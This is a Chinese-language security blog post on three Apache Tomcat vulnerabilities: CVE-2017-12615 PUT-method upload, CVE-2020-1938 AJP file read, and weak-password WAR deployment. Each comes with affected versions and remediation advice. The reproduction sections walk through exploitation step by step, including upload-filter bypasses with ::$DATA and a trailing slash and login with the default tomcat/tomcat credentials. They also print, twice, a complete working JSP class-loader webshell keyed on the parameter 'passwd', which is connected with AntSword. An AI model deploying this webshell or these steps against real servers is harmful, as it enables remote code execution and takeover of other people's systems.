Tomcat漏洞
概述
Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为比较流行的Web 应用服务器。
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。
CVE-2017-12615
漏洞描述
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件,JSP 文件中的代码将能被服务器执行。
影响范围
- Apache Tomcat 7.0.0 - 7.0.81(7.0.81修复不完全)
修复建议
- 配置readonly为true(默认为true)
- 根据官方补丁升级最新版本
复现过程
1、访问页面
2、使用burpsuite获取该页面请求并发送到repeter模块进行重发包
3、将GET请求修改为PUT请求方法,将数据写入到请求正文中
4、请求3.txt文件,上传成功
5、上传jsp木马
shell.jsp木马的连接密码为passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
当直接上传shell.jsp时发现上传失败
6、尝试绕过
方法一:使用::$DATA,上传成功
使用浏览器访问,发现其中的jsp代码并没有被执行
方法二:加上/,上传成功
使用浏览器访问文件,请求成功
使用蚁剑进行连接,连接成功。
CVE-2020-1938
漏洞描述
Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
影响范围
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
修复建议
- 如未使用 Tomcat AJP 协议,可以直接将 Tomcat 升级到 9.0.31、8.5.51或 7.0.100 版本进行漏洞修复。如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost。
- 建议将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复,同时为AJP Connector配置secret来设置AJP协议的认证凭证。
弱口令&上传war包获取shell
漏洞描述
tomcat存在管理后台进行应用部署管理,且管理后台使用HTTP基础认证进行登录。若用户名为默认口令或弱口令,攻击者容易通过暴力破解登录后台并进行应用管理。
登录成功后有上传点,上传压缩包 xxx.war的.war不会被解析,直接访问 xxx/xxx.jsp下的木马文件,拿到webshell。
原因:Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。
修复建议
- 在系统上以低权限运行Tomcat应用程序,根据需要执行权限最小化原则。
- 对于:
(1)manager-gui:允许用户登录图形化的Web应用管理及部署页面
(2)manager-script:允许用户通过文本页面的形式执行管理命令
(3)manager-jmx:允许用户通过JMX代理接口并访问“服务器状态”页面
这三个页面,因为功能比较多,也需要对用户设置最小化权限访问原则
- 增加对于本地和基于证书的身份验证,部署账户锁定机制
在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制 - 避免弱口令
复现过程
1、访问页面,点击manager app
2、要求我们输入密码,输入默认口令登陆名 tomcat、密码 tomcat,进入后台管理
3、通过上传war包进行getshell
4、shell.jsp
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
将shell.jsp压缩为shell.zip
修改后缀名zip为war
5、上传shell.war进行访问
双击访问/shell
在war包名后跟上shell.jsp,访问成功
6、使用蚁剑进行连接,密码为passwd
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论